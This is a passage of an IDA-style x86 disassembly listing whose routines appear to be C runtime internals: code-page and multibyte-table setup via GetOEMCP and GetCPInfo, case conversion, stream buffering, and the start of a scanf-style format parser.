jnz short loc_4206B1
or dword ptr [eax], 0FFFFFFFFh
pop ebp
retn
; ---------------------------------------------------------------------------
loc_4206B1: ; CODE XREF: sub_420680+2Aj
inc dword ptr [eax]
pop ebp
retn
sub_420680 endp
; =============== S U B R O U T I N E =======================================
sub_4206B5 proc near ; CODE XREF: sub_41FF3F+65Ap
; sub_41FF3F+68Cp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push esi
push edi
mov edi, [esp+8+arg_4]
mov eax, edi
dec edi
test eax, eax
jle short loc_4206E3
mov esi, [esp+8+arg_C]
loc_4206C6: ; CODE XREF: sub_4206B5+2Cj
push esi
push [esp+0Ch+arg_8]
push [esp+10h+arg_0]
call sub_420680
add esp, 0Ch
cmp dword ptr [esi], 0FFFFFFFFh
jz short loc_4206E3
mov eax, edi
dec edi
test eax, eax
jg short loc_4206C6
loc_4206E3: ; CODE XREF: sub_4206B5+Bj
; sub_4206B5+25j
pop edi
pop esi
retn
sub_4206B5 endp
; =============== S U B R O U T I N E =======================================
sub_4206E6 proc near ; CODE XREF: sub_41FF3F+670p
; sub_41FF3F+6CAp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push ebx
mov ebx, [esp+4+arg_4]
mov eax, ebx
dec ebx
push esi
push edi
test eax, eax
jle short loc_42071A
mov edi, [esp+0Ch+arg_C]
mov esi, [esp+0Ch+arg_0]
loc_4206FC: ; CODE XREF: sub_4206E6+32j
movsx eax, byte ptr [esi]
push edi
inc esi
push [esp+10h+arg_8]
push eax
call sub_420680
add esp, 0Ch
cmp dword ptr [edi], 0FFFFFFFFh
jz short loc_42071A
mov eax, ebx
dec ebx
test eax, eax
jg short loc_4206FC
loc_42071A: ; CODE XREF: sub_4206E6+Cj
; sub_4206E6+2Bj
pop edi
pop esi
pop ebx
retn
sub_4206E6 endp
; =============== S U B R O U T I N E =======================================
sub_42071E proc near ; CODE XREF: sub_41FF3F+E5p
; sub_41FF3F+124p ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
add dword ptr [eax], 4
mov eax, [eax]
mov eax, [eax-4]
retn
sub_42071E endp
; =============== S U B R O U T I N E =======================================
sub_42072B proc near ; CODE XREF: sub_41FF3F+4FAp
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
add dword ptr [eax], 8
mov ecx, [eax]
mov eax, [ecx-8]
mov edx, [ecx-4]
retn
sub_42072B endp
; =============== S U B R O U T I N E =======================================
sub_42073B proc near ; CODE XREF: sub_41FF3F+2C7p
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
add dword ptr [eax], 4
mov eax, [eax]
mov ax, [eax-4]
retn
sub_42073B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_420749 proc near ; CODE XREF: sub_420B0D+Bp
var_18 = dword ptr -18h
var_12 = byte ptr -12h
var_11 = byte ptr -11h
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 18h
push ebx
push esi
push edi
push [ebp+arg_0]
call sub_4208E2 ; GetOEMCP
mov esi, eax
pop ecx
cmp esi, dword_4DD144
mov [ebp+arg_0], esi
jz loc_4208D6
xor ebx, ebx
cmp esi, ebx
jz loc_4208CC
xor edx, edx
mov eax, offset dword_43D0A0
loc_42077D: ; CODE XREF: sub_420749+41j
cmp [eax], esi
jz short loc_4207F3
add eax, 30h
inc edx
cmp eax, offset dword_43D190
jl short loc_42077D
lea eax, [ebp+var_18]
push eax
push esi
call dword_42705C ; GetCPInfo
cmp eax, 1
jnz loc_4208C4
push 40h
xor eax, eax
pop ecx
mov edi, offset byte_4DD260
cmp [ebp+var_18], 1
mov dword_4DD144, esi
rep stosd
stosb
mov dword_4DD364, ebx
jbe loc_4208B2
cmp [ebp+var_12], 0
jz loc_420888
lea ecx, [ebp+var_11]
loc_4207D0: ; CODE XREF: sub_420749+139j
mov dl, [ecx]
test dl, dl
jz loc_420888
movzx eax, byte ptr [ecx-1]
movzx edx, dl
loc_4207E1: ; CODE XREF: sub_420749+A8j
cmp eax, edx
ja loc_42087C
or byte_4DD261[eax], 4
inc eax
jmp short loc_4207E1
; ---------------------------------------------------------------------------
loc_4207F3: ; CODE XREF: sub_420749+36j
push 40h
xor eax, eax
pop ecx
mov edi, offset byte_4DD260
rep stosd
lea esi, [edx+edx*2]
mov [ebp+var_4], ebx
shl esi, 4
stosb
lea ebx, dword_43D0B0[esi]
loc_42080F: ; CODE XREF: sub_420749+103j
cmp byte ptr [ebx], 0
mov ecx, ebx
jz short loc_420842
loc_420816: ; CODE XREF: sub_420749+F7j
mov dl, [ecx+1]
test dl, dl
jz short loc_420842
movzx eax, byte ptr [ecx]
movzx edi, dl
cmp eax, edi
ja short loc_42083B
mov edx, [ebp+var_4]
mov dl, byte_43D098[edx]
loc_420830: ; CODE XREF: sub_420749+F0j
or byte_4DD261[eax], dl
inc eax
cmp eax, edi
jbe short loc_420830
loc_42083B: ; CODE XREF: sub_420749+DCj
inc ecx
inc ecx
cmp byte ptr [ecx], 0
jnz short loc_420816
loc_420842: ; CODE XREF: sub_420749+CBj
; sub_420749+D2j
inc [ebp+var_4]
add ebx, 8
cmp [ebp+var_4], 4
jb short loc_42080F
mov eax, [ebp+arg_0]
mov dword_4DD15C, 1
push eax
mov dword_4DD144, eax
call sub_42092C
lea esi, dword_43D0A4[esi]
mov edi, offset dword_4DD150
movsd
movsd
pop ecx
mov dword_4DD364, eax
movsd
jmp short loc_4208D1
; ---------------------------------------------------------------------------
loc_42087C: ; CODE XREF: sub_420749+9Aj
inc ecx
inc ecx
cmp byte ptr [ecx-1], 0
jnz loc_4207D0
loc_420888: ; CODE XREF: sub_420749+7Ej
; sub_420749+8Bj
push 1
pop eax
loc_42088B: ; CODE XREF: sub_420749+14Fj
or byte_4DD261[eax], 8
inc eax
cmp eax, 0FFh
jb short loc_42088B
push esi
call sub_42092C
pop ecx
mov dword_4DD364, eax
mov dword_4DD15C, 1
jmp short loc_4208B8
; ---------------------------------------------------------------------------
loc_4208B2: ; CODE XREF: sub_420749+74j
mov dword_4DD15C, ebx
loc_4208B8: ; CODE XREF: sub_420749+167j
xor eax, eax
mov edi, offset dword_4DD150
stosd
stosd
stosd
jmp short loc_4208D1
; ---------------------------------------------------------------------------
loc_4208C4: ; CODE XREF: sub_420749+51j
cmp dword_4DBE4C, ebx
jz short loc_4208DA
loc_4208CC: ; CODE XREF: sub_420749+27j
call sub_42095F
loc_4208D1: ; CODE XREF: sub_420749+131j
; sub_420749+179j
call sub_420988
loc_4208D6: ; CODE XREF: sub_420749+1Dj
xor eax, eax
jmp short loc_4208DD
; ---------------------------------------------------------------------------
loc_4208DA: ; CODE XREF: sub_420749+181j
or eax, 0FFFFFFFFh
loc_4208DD: ; CODE XREF: sub_420749+18Fj
pop edi
pop esi
pop ebx
leave
retn
sub_420749 endp
; =============== S U B R O U T I N E =======================================
sub_4208E2 proc near ; CODE XREF: sub_420749+Cp
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
and dword_4DBE4C, 0
cmp eax, 0FFFFFFFEh
jnz short loc_420902
mov dword_4DBE4C, 1
jmp dword_427054
; ---------------------------------------------------------------------------
loc_420902: ; CODE XREF: sub_4208E2+Ej
cmp eax, 0FFFFFFFDh
jnz short loc_420917
mov dword_4DBE4C, 1
jmp dword_427058
; ---------------------------------------------------------------------------
loc_420917: ; CODE XREF: sub_4208E2+23j
cmp eax, 0FFFFFFFCh
jnz short locret_42092B
mov eax, dword_4DBE94
mov dword_4DBE4C, 1
locret_42092B: ; CODE XREF: sub_4208E2+38j
retn
sub_4208E2 endp
; =============== S U B R O U T I N E =======================================
sub_42092C proc near ; CODE XREF: sub_420749+118p
; sub_420749+152p
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
sub eax, 3A4h
jz short loc_420959
sub eax, 4
jz short loc_420953
sub eax, 0Dh
jz short loc_42094D
dec eax
jz short loc_420947
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_420947: ; CODE XREF: sub_42092C+16j
mov eax, 404h
retn
; ---------------------------------------------------------------------------
loc_42094D: ; CODE XREF: sub_42092C+13j
mov eax, 412h
retn
; ---------------------------------------------------------------------------
loc_420953: ; CODE XREF: sub_42092C+Ej
mov eax, 804h
retn
; ---------------------------------------------------------------------------
loc_420959: ; CODE XREF: sub_42092C+9j
mov eax, 411h
retn
sub_42092C endp
; =============== S U B R O U T I N E =======================================
sub_42095F proc near ; CODE XREF: sub_420749:loc_4208CCp
push edi
push 40h
pop ecx
xor eax, eax
mov edi, offset byte_4DD260
rep stosd
stosb
xor eax, eax
mov edi, offset dword_4DD150
mov dword_4DD144, eax
mov dword_4DD15C, eax
mov dword_4DD364, eax
stosd
stosd
stosd
pop edi
retn
sub_42095F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_420988 proc near ; CODE XREF: sub_420749:loc_4208D1p
var_514 = byte ptr -514h
var_314 = byte ptr -314h
var_214 = byte ptr -214h
var_114 = byte ptr -114h
var_14 = byte ptr -14h
var_E = byte ptr -0Eh
var_D = byte ptr -0Dh
push ebp
mov ebp, esp
sub esp, 514h
lea eax, [ebp+var_14]
push esi
push eax
push dword_4DD144
call dword_42705C ; GetCPInfo
cmp eax, 1
jnz loc_420AC1
xor eax, eax
mov esi, 100h
loc_4209B2: ; CODE XREF: sub_420988+34j
mov [ebp+eax+var_114], al
inc eax
cmp eax, esi
jb short loc_4209B2
mov al, [ebp+var_E]
mov [ebp+var_114], 20h
test al, al
jz short loc_420A03
push ebx
push edi
lea edx, [ebp+var_D]
loc_4209D1: ; CODE XREF: sub_420988+77j
movzx ecx, byte ptr [edx]
movzx eax, al
cmp eax, ecx
ja short loc_4209F8
sub ecx, eax
lea edi, [ebp+eax+var_114]
inc ecx
mov eax, 20202020h
mov ebx, ecx
shr ecx, 2
rep stosd
mov ecx, ebx
and ecx, 3
rep stosb
loc_4209F8: ; CODE XREF: sub_420988+51j
inc edx
inc edx
mov al, [edx-1]
test al, al
jnz short loc_4209D1
pop edi
pop ebx
loc_420A03: ; CODE XREF: sub_420988+42j
push 0
lea eax, [ebp+var_514]
push dword_4DD364
push dword_4DD144
push eax
lea eax, [ebp+var_114]
push esi
push eax
push 1
call sub_4244F4
push 0
lea eax, [ebp+var_214]
push dword_4DD144
push esi
push eax
lea eax, [ebp+var_114]
push esi
push eax
push esi
push dword_4DD364
call sub_4232A8
push 0
lea eax, [ebp+var_314]
push dword_4DD144
push esi
push eax
lea eax, [ebp+var_114]
push esi
push eax
push 200h
push dword_4DD364
call sub_4232A8
add esp, 5Ch
xor eax, eax
lea ecx, [ebp+var_514]
loc_420A7E: ; CODE XREF: sub_420988+135j
mov dx, [ecx]
test dl, 1
jz short loc_420A9C
or byte_4DD261[eax], 10h
mov dl, [ebp+eax+var_214]
loc_420A94: ; CODE XREF: sub_420988+127j
mov byte_4DD160[eax], dl
jmp short loc_420AB8
; ---------------------------------------------------------------------------
loc_420A9C: ; CODE XREF: sub_420988+FCj
test dl, 2
jz short loc_420AB1
or byte_4DD261[eax], 20h
mov dl, [ebp+eax+var_314]
jmp short loc_420A94
; ---------------------------------------------------------------------------
loc_420AB1: ; CODE XREF: sub_420988+117j
and byte_4DD160[eax], 0
loc_420AB8: ; CODE XREF: sub_420988+112j
inc eax
inc ecx
inc ecx
cmp eax, esi
jb short loc_420A7E
jmp short loc_420B0A
; ---------------------------------------------------------------------------
loc_420AC1: ; CODE XREF: sub_420988+1Dj
xor eax, eax
mov esi, 100h
loc_420AC8: ; CODE XREF: sub_420988+180j
cmp eax, 41h
jb short loc_420AE6
cmp eax, 5Ah
ja short loc_420AE6
or byte_4DD261[eax], 10h
mov cl, al
add cl, 20h
loc_420ADE: ; CODE XREF: sub_420988+174j
mov byte_4DD160[eax], cl
jmp short loc_420B05
; ---------------------------------------------------------------------------
loc_420AE6: ; CODE XREF: sub_420988+143j
; sub_420988+148j
cmp eax, 61h
jb short loc_420AFE
cmp eax, 7Ah
ja short loc_420AFE
or byte_4DD261[eax], 20h
mov cl, al
sub cl, 20h
jmp short loc_420ADE
; ---------------------------------------------------------------------------
loc_420AFE: ; CODE XREF: sub_420988+161j
; sub_420988+166j
and byte_4DD160[eax], 0
loc_420B05: ; CODE XREF: sub_420988+15Cj
inc eax
cmp eax, esi
jb short loc_420AC8
loc_420B0A: ; CODE XREF: sub_420988+137j
pop esi
leave
retn
sub_420988 endp
; =============== S U B R O U T I N E =======================================
sub_420B0D proc near ; CODE XREF: sub_42367B+9p
; sub_4236D3+Dp ...
cmp dword_4DD394, 0
jnz short locret_420B28
push 0FFFFFFFDh
call sub_420749
pop ecx
mov dword_4DD394, 1
locret_420B28: ; CODE XREF: sub_420B0D+7j
retn
sub_420B0D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_420B29 proc near ; CODE XREF: sub_41C3B1+2Bp
; sub_41C3B1+A6p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
cmp dword_4DD15C, 0
push edi
mov edi, [ebp+arg_0]
mov [ebp+arg_0], edi
jnz short loc_420B4D
push [ebp+arg_8]
push [ebp+arg_4]
push edi
call sub_41BFD0
add esp, 0Ch
jmp short loc_420BB0
; ---------------------------------------------------------------------------
loc_420B4D: ; CODE XREF: sub_420B29+11j
mov edx, [ebp+arg_8]
push esi
test edx, edx
jz short loc_420B92
mov ecx, [ebp+arg_4]
loc_420B58: ; CODE XREF: sub_420B29+5Bj
mov al, [ecx]
dec edx
movzx esi, al
test byte_4DD261[esi], 4
mov [edi], al
jz short loc_420B7C
inc edi
inc ecx
test edx, edx
jz short loc_420B88
mov al, [ecx]
dec edx
mov [edi], al
inc edi
inc ecx
test al, al
jz short loc_420B8E
jmp short loc_420B82
; ---------------------------------------------------------------------------
loc_420B7C: ; CODE XREF: sub_420B29+3Ej
inc edi
inc ecx
test al, al
jz short loc_420B92
loc_420B82: ; CODE XREF: sub_420B29+51j
test edx, edx
jnz short loc_420B58
jmp short loc_420B92
; ---------------------------------------------------------------------------
loc_420B88: ; CODE XREF: sub_420B29+44j
and byte ptr [edi-1], 0
jmp short loc_420B92
; ---------------------------------------------------------------------------
loc_420B8E: ; CODE XREF: sub_420B29+4Fj
and byte ptr [edi-2], 0
loc_420B92: ; CODE XREF: sub_420B29+2Aj
; sub_420B29+57j ...
mov eax, edx
dec edx
test eax, eax
pop esi
jz short loc_420BAD
lea ecx, [edx+1]
xor eax, eax
mov edx, ecx
shr ecx, 2
rep stosd
mov ecx, edx
and ecx, 3
rep stosb
loc_420BAD: ; CODE XREF: sub_420B29+6Fj
mov eax, [ebp+arg_0]
loc_420BB0: ; CODE XREF: sub_420B29+22j
pop edi
pop ebp
retn
sub_420B29 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_420BB3 proc near ; CODE XREF: sub_41C59D+12Bp
var_4 = byte ptr -4
var_3 = byte ptr -3
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
cmp dword_4DBE84, 0
push ebx
jnz short loc_420BDE
mov eax, [ebp+arg_0]
cmp eax, 61h
jl loc_420C7C
cmp eax, 7Ah
jg loc_420C7C
sub eax, 20h
jmp loc_420C7C
; ---------------------------------------------------------------------------
loc_420BDE: ; CODE XREF: sub_420BB3+Cj
mov ebx, [ebp+arg_0]
cmp ebx, 100h
jge short loc_420C11
cmp dword_43D084, 1
jle short loc_420BFE
push 2
push ebx
call sub_41FDB5
pop ecx
pop ecx
jmp short loc_420C09
; ---------------------------------------------------------------------------
loc_420BFE: ; CODE XREF: sub_420BB3+3Dj
mov eax, off_43CE78
mov al, [eax+ebx*2]
and eax, 2
loc_420C09: ; CODE XREF: sub_420BB3+49j
test eax, eax
jnz short loc_420C11
loc_420C0D: ; CODE XREF: sub_420BB3+AFj
mov eax, ebx
jmp short loc_420C7C
; ---------------------------------------------------------------------------
loc_420C11: ; CODE XREF: sub_420BB3+34j
; sub_420BB3+58j
mov edx, off_43CE78
mov eax, ebx
sar eax, 8
movzx ecx, al
test byte ptr [edx+ecx*2+1], 80h
jz short loc_420C34
and byte ptr [ebp+arg_0+2], 0
mov byte ptr [ebp+arg_0], al
mov byte ptr [ebp+arg_0+1], bl
push 2
jmp short loc_420C3D
; ---------------------------------------------------------------------------
loc_420C34: ; CODE XREF: sub_420BB3+71j
and byte ptr [ebp+arg_0+1], 0
mov byte ptr [ebp+arg_0], bl
push 1
loc_420C3D: ; CODE XREF: sub_420BB3+7Fj
pop eax
lea ecx, [ebp+var_4]
push 1
push 0
push 3
push ecx
push eax
lea eax, [ebp+arg_0]
push eax
push 200h
push dword_4DBE84
call sub_4232A8
add esp, 20h
test eax, eax
jz short loc_420C0D
cmp eax, 1
jnz short loc_420C6F
movzx eax, [ebp+var_4]
jmp short loc_420C7C
; ---------------------------------------------------------------------------
loc_420C6F: ; CODE XREF: sub_420BB3+B4j
movzx eax, [ebp+var_3]
movzx ecx, [ebp+var_4]
shl eax, 8
or eax, ecx
loc_420C7C: ; CODE XREF: sub_420BB3+14j
; sub_420BB3+1Dj ...
pop ebx
leave
retn
sub_420BB3 endp
; =============== S U B R O U T I N E =======================================
sub_420C7F proc near ; CODE XREF: sub_41C7BC+1Dp
; sub_41DC5E+16p ...
arg_0 = dword ptr 4
mov ecx, [esp+arg_0]
xor edx, edx
mov dword_4DBDE0, ecx
mov eax, offset dword_43D190
loc_420C90: ; CODE XREF: sub_420C7F+1Ej
cmp ecx, [eax]
jz short loc_420CB4
add eax, 8
inc edx
cmp eax, offset dword_43D2F8
jl short loc_420C90
cmp ecx, 13h
jb short loc_420CC1
cmp ecx, 24h
ja short loc_420CC1
mov dword_4DBDDC, 0Dh
retn
; ---------------------------------------------------------------------------
loc_420CB4: ; CODE XREF: sub_420C7F+13j
mov eax, dword_43D194[edx*8]
mov dword_4DBDDC, eax
retn
; ---------------------------------------------------------------------------
loc_420CC1: ; CODE XREF: sub_420C7F+23j
; sub_420C7F+28j
cmp ecx, 0BCh
jb short loc_420CDB
cmp ecx, 0CAh
mov dword_4DBDDC, 8
jbe short locret_420CE5
loc_420CDB: ; CODE XREF: sub_420C7F+48j
mov dword_4DBDDC, 16h
locret_420CE5: ; CODE XREF: sub_420C7F+5Aj
retn
sub_420C7F endp
; =============== S U B R O U T I N E =======================================
sub_420CE6 proc near ; CODE XREF: sub_41C7E6+8p
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push dword ptr [esi+10h]
call sub_42463D
test eax, eax
pop ecx
jz short loc_420D6F
cmp esi, offset dword_43D588
jnz short loc_420D04
xor eax, eax
jmp short loc_420D0F
; ---------------------------------------------------------------------------
loc_420D04: ; CODE XREF: sub_420CE6+18j
cmp esi, offset dword_43D5A8
jnz short loc_420D6F
push 1
pop eax
loc_420D0F: ; CODE XREF: sub_420CE6+1Cj
inc dword_4DBFAC
test word ptr [esi+0Ch], 10Ch
jnz short loc_420D6F
cmp dword_4DBE50[eax*4], 0
push ebx
push edi
lea edi, ds:4DBE50h[eax*4]
mov ebx, 1000h
jnz short loc_420D55
push ebx
call sub_41BEB5
test eax, eax
pop ecx
mov [edi], eax
jnz short loc_420D55
lea eax, [esi+14h]
push 2
mov [esi+8], eax
mov [esi], eax
pop eax
mov [esi+18h], eax
mov [esi+4], eax
jmp short loc_420D62
; ---------------------------------------------------------------------------
loc_420D55: ; CODE XREF: sub_420CE6+4Dj
; sub_420CE6+5Aj
mov edi, [edi]
mov [esi+18h], ebx
mov [esi+8], edi
mov [esi], edi
mov [esi+4], ebx
loc_420D62: ; CODE XREF: sub_420CE6+6Dj
or word ptr [esi+0Ch], 1102h
push 1
pop eax
pop edi
pop ebx
pop esi
retn
; ---------------------------------------------------------------------------
loc_420D6F: ; CODE XREF: sub_420CE6+10j
; sub_420CE6+24j ...
xor eax, eax
pop esi
retn
sub_420CE6 endp
; =============== S U B R O U T I N E =======================================
sub_420D73 proc near ; CODE XREF: sub_41C7E6+24p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
cmp [esp+arg_0], 0
push esi
jz short loc_420D9D
mov esi, [esp+4+arg_4]
test byte ptr [esi+0Dh], 10h
jz short loc_420DAE
push esi
call sub_41E42B
and byte ptr [esi+0Dh], 0EEh
and dword ptr [esi+18h], 0
and dword ptr [esi], 0
and dword ptr [esi+8], 0
pop ecx
pop esi
retn
; ---------------------------------------------------------------------------
loc_420D9D: ; CODE XREF: sub_420D73+6j
mov eax, [esp+4+arg_4]
test byte ptr [eax+0Dh], 10h
jz short loc_420DAE
push eax
call sub_41E42B
pop ecx
loc_420DAE: ; CODE XREF: sub_420D73+10j
; sub_420D73+32j
pop esi
retn
sub_420D73 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_420DB0 proc near ; CODE XREF: sub_41CCE3+2Ap
var_1C4 = byte ptr -1C4h
var_1C3 = byte ptr -1C3h
var_64 = byte ptr -64h
var_59 = byte ptr -59h
var_44 = dword ptr -44h
var_3E = word ptr -3Eh
var_3C = dword ptr -3Ch
var_38 = byte ptr -38h
var_37 = byte ptr -37h
var_35 = byte ptr -35h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = byte ptr -18h
var_17 = byte ptr -17h
var_16 = byte ptr -16h
var_15 = byte ptr -15h
var_14 = dword ptr -14h
var_F = byte ptr -0Fh
var_E = byte ptr -0Eh
var_D = byte ptr -0Dh
var_C = dword ptr -0Ch
var_5 = byte ptr -5
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 1C4h
and [ebp+var_15], 0
push ebx
push esi
mov esi, [ebp+arg_4]
xor ebx, ebx
push edi
mov al, [esi]
mov [ebp+var_4], ebx
test al, al
mov [ebp+var_34], ebx
jz loc_4217B6
mov edi, [ebp+arg_0]
jmp short loc_420DDF
; ---------------------------------------------------------------------------
loc_420DDA: ; CODE XREF: sub_420DB0+9CEj
mov edi, [ebp+arg_0]
xor ebx, ebx
loc_420DDF: ; CODE XREF: sub_420DB0+28j
cmp dword_43D084, 1
jle short loc_420DF7
movzx eax, al
push 8
push eax
call sub_41FDB5
pop ecx
pop ecx
jmp short loc_420E06
; ---------------------------------------------------------------------------
loc_420DF7: ; CODE XREF: sub_420DB0+36j
mov ecx, off_43CE78
movzx eax, al
mov al, [ecx+eax*2]
and eax, 8
loc_420E06: ; CODE XREF: sub_420DB0+45j
cmp eax, ebx
jz short loc_420E40
dec [ebp+var_4]
push edi
lea eax, [ebp+var_4]
push edi
push eax
call sub_42183D
pop ecx
pop ecx
push eax
call sub_421826
movzx eax, byte ptr [esi+1]
inc esi
push eax
call sub_41DF10
add esp, 0Ch
loc_420E2E: ; CODE XREF: sub_420DB0+8Ej
test eax, eax
jz short loc_420E40
movzx eax, byte ptr [esi+1]
inc esi
push eax
call sub_41DF10
pop ecx
jmp short loc_420E2E
; ---------------------------------------------------------------------------
loc_420E40: ; CODE XREF: sub_420DB0+58j
; sub_420DB0+80j
cmp byte ptr [esi], 25h
jnz loc_421722
and [ebp+var_35], 0
and [ebp+var_18], 0
and [ebp+var_17], 0
and [ebp+var_E], 0
and [ebp+var_F], 0
and [ebp+var_16], 0
xor edi, edi
and [ebp+var_5], 0
mov [ebp+var_1C], ebx
mov [ebp+var_20], ebx
mov [ebp+var_C], ebx
mov [ebp+var_D], 1
mov [ebp+var_30], ebx
loc_420E77: ; CODE XREF: sub_420DB0+172j
movzx ebx, byte ptr [esi+1]
inc esi
cmp dword_43D084, 1
jle short loc_420E94
movzx eax, bl
push 4
push eax
call sub_41FDB5
pop ecx
pop ecx
jmp short loc_420EA3
; ---------------------------------------------------------------------------
loc_420E94: ; CODE XREF: sub_420DB0+D3j
mov ecx, off_43CE78
movzx eax, bl
mov al, [ecx+eax*2]
and eax, 4
loc_420EA3: ; CODE XREF: sub_420DB0+E2j
test eax, eax
jz short loc_420EB9
mov eax, [ebp+var_C]
inc [ebp+var_20]
lea eax, [eax+eax*4]
lea eax, [ebx+eax*2-30h]
mov [ebp+var_C], eax
jmp short loc_420F1E
; ---------------------------------------------------------------------------
loc_420EB9: ; CODE XREF: sub_420DB0+F5j
cmp ebx, 4Eh
jg short loc_420EFC
jz short loc_420F1E
cmp ebx, 2Ah
jz short loc_420EF7
cmp ebx, 46h
jz short loc_420F1E
cmp ebx, 49h
jz short loc_420ED9
cmp ebx, 4Ch
jnz short loc_420F0B
inc [ebp+var_D]
jmp short loc_420F1E
; ---------------------------------------------------------------------------
loc_420ED9: ; CODE XREF: sub_420DB0+11Dj
cmp byte ptr [esi+1], 36h
jnz short loc_420F0B
cmp byte ptr [esi+2], 34h
lea eax, [esi+2]
jnz short loc_420F0B
inc [ebp+var_30]
and [ebp+var_28], 0
and [ebp+var_24], 0
mov esi, eax
jmp short loc_420F1E
; ---------------------------------------------------------------------------
loc_420EF7: ; CODE XREF: sub_420DB0+113j
inc [ebp+var_E]
jmp short loc_420F1E
; ---------------------------------------------------------------------------
loc_420EFC: ; CODE XREF: sub_420DB0+10Cj
cmp ebx, 68h
jz short loc_420F18
cmp ebx, 6Ch
jz short loc_420F10
cmp ebx, 77h
jz short loc_420F13
loc_420F0B: ; CODE XREF: sub_420DB0+122j
; sub_420DB0+12Dj ...
inc [ebp+var_F]
jmp short loc_420F1E
; ---------------------------------------------------------------------------
loc_420F10: ; CODE XREF: sub_420DB0+154j
inc [ebp+var_D]
loc_420F13: ; CODE XREF: sub_420DB0+159j
inc [ebp+var_5]
jmp short loc_420F1E
; ---------------------------------------------------------------------------
loc_420F18: ; CODE XREF: sub_420DB0+14Fj
dec [ebp+var_D]
dec [ebp+var_5]
loc_420F1E: ; CODE XREF: sub_420DB0+107j
; sub_420DB0+10Ej ...
cmp [ebp+var_F], 0
jz loc_420E77
cmp [ebp+var_E], 0
mov [ebp+arg_4], esi
jnz short loc_420F43
mov eax, [ebp+arg_8]
mov [ebp+var_44], eax
add eax, 4
mov [ebp+arg_8], eax
mov eax, [eax-4]
mov [ebp+var_2C], eax
loc_420F43: ; CODE XREF: sub_420DB0+17Fj
and [ebp+var_F], 0
cmp [ebp+var_5], 0
jnz short loc_420F61
mov al, [esi]
cmp al, 53h
jz short loc_420F5D
cmp al, 43h
jz short loc_420F5D
or [ebp+var_5], 0FFh
jmp short loc_420F61
; ---------------------------------------------------------------------------
loc_420F5D: ; CODE XREF: sub_420DB0+1A1j
; sub_420DB0+1A5j
mov [ebp+var_5], 1
loc_420F61: ; CODE XREF: sub_420DB0+19Bj
; sub_420DB0+1ABj
mov ebx, [ebp+arg_4]
movzx esi, byte ptr [ebx]
or esi, 20h
cmp esi, 6Eh
mov [ebp+var_3C], esi
jz short loc_420F9A
cmp esi, 63h
jz short loc_420F8B
cmp esi, 7Bh
jz short loc_420F8B
push [ebp+arg_0]
lea eax, [ebp+var_4]
push eax
call sub_42183D
pop ecx
jmp short loc_420F96
; ---------------------------------------------------------------------------
loc_420F8B: ; CODE XREF: sub_420DB0+1C5j
; sub_420DB0+1CAj
push [ebp+arg_0]
inc [ebp+var_4]
call sub_42180C
loc_420F96: ; CODE XREF: sub_420DB0+1D9j
pop ecx
mov [ebp+var_14], eax
loc_420F9A: ; CODE XREF: sub_420DB0+1C0j
xor eax, eax
cmp [ebp+var_20], eax
jz short loc_420FAA
cmp [ebp+var_C], eax
jz loc_421786
loc_420FAA: ; CODE XREF: sub_420DB0+1EFj
cmp esi, 6Fh
jg loc_421211
jz loc_4214C3
cmp esi, 63h
jz loc_4211EE
cmp esi, 64h
jz loc_4214C3
jle loc_42123B
cmp esi, 67h
jle short loc_42100E
cmp esi, 69h
jz short loc_420FF6
cmp esi, 6Eh
jnz loc_42123B
cmp [ebp+var_E], 0
mov edi, [ebp+var_4]
jz loc_4216F1
jmp loc_421717
; ---------------------------------------------------------------------------
loc_420FF6: ; CODE XREF: sub_420DB0+229j
push 64h
pop esi
loc_420FF9: ; CODE XREF: sub_420DB0+480j
mov ebx, [ebp+var_14]
cmp ebx, 2Dh
jnz loc_421283
mov [ebp+var_17], 1
jmp loc_421288
; ---------------------------------------------------------------------------
loc_42100E: ; CODE XREF: sub_420DB0+224j
mov ebx, [ebp+var_14]
lea esi, [ebp+var_1C4]
cmp ebx, 2Dh
jnz short loc_42102A
mov [ebp+var_1C4], bl
lea esi, [ebp+var_1C3]
jmp short loc_42102F
; ---------------------------------------------------------------------------
loc_42102A: ; CODE XREF: sub_420DB0+26Aj
cmp ebx, 2Bh
jnz short loc_421046
loc_42102F: ; CODE XREF: sub_420DB0+278j
mov edi, [ebp+arg_0]
dec [ebp+var_C]
inc [ebp+var_4]
push edi
call sub_42180C
mov ebx, eax
pop ecx
mov [ebp+var_14], ebx
jmp short loc_421049
; ---------------------------------------------------------------------------
loc_421046: ; CODE XREF: sub_420DB0+27Dj
mov edi, [ebp+arg_0]
loc_421049: ; CODE XREF: sub_420DB0+294j
cmp [ebp+var_20], 0
jz short loc_421058
cmp [ebp+var_C], 15Dh
jle short loc_42105F
loc_421058: ; CODE XREF: sub_420DB0+29Dj
mov [ebp+var_C], 15Dh
loc_42105F: ; CODE XREF: sub_420DB0+2A6j
; sub_420DB0+2F2j
cmp dword_43D084, 1
jle short loc_421074
push 4
push ebx
call sub_41FDB5
pop ecx
pop ecx
jmp short loc_42107F
; ---------------------------------------------------------------------------
loc_421074: ; CODE XREF: sub_420DB0+2B6j
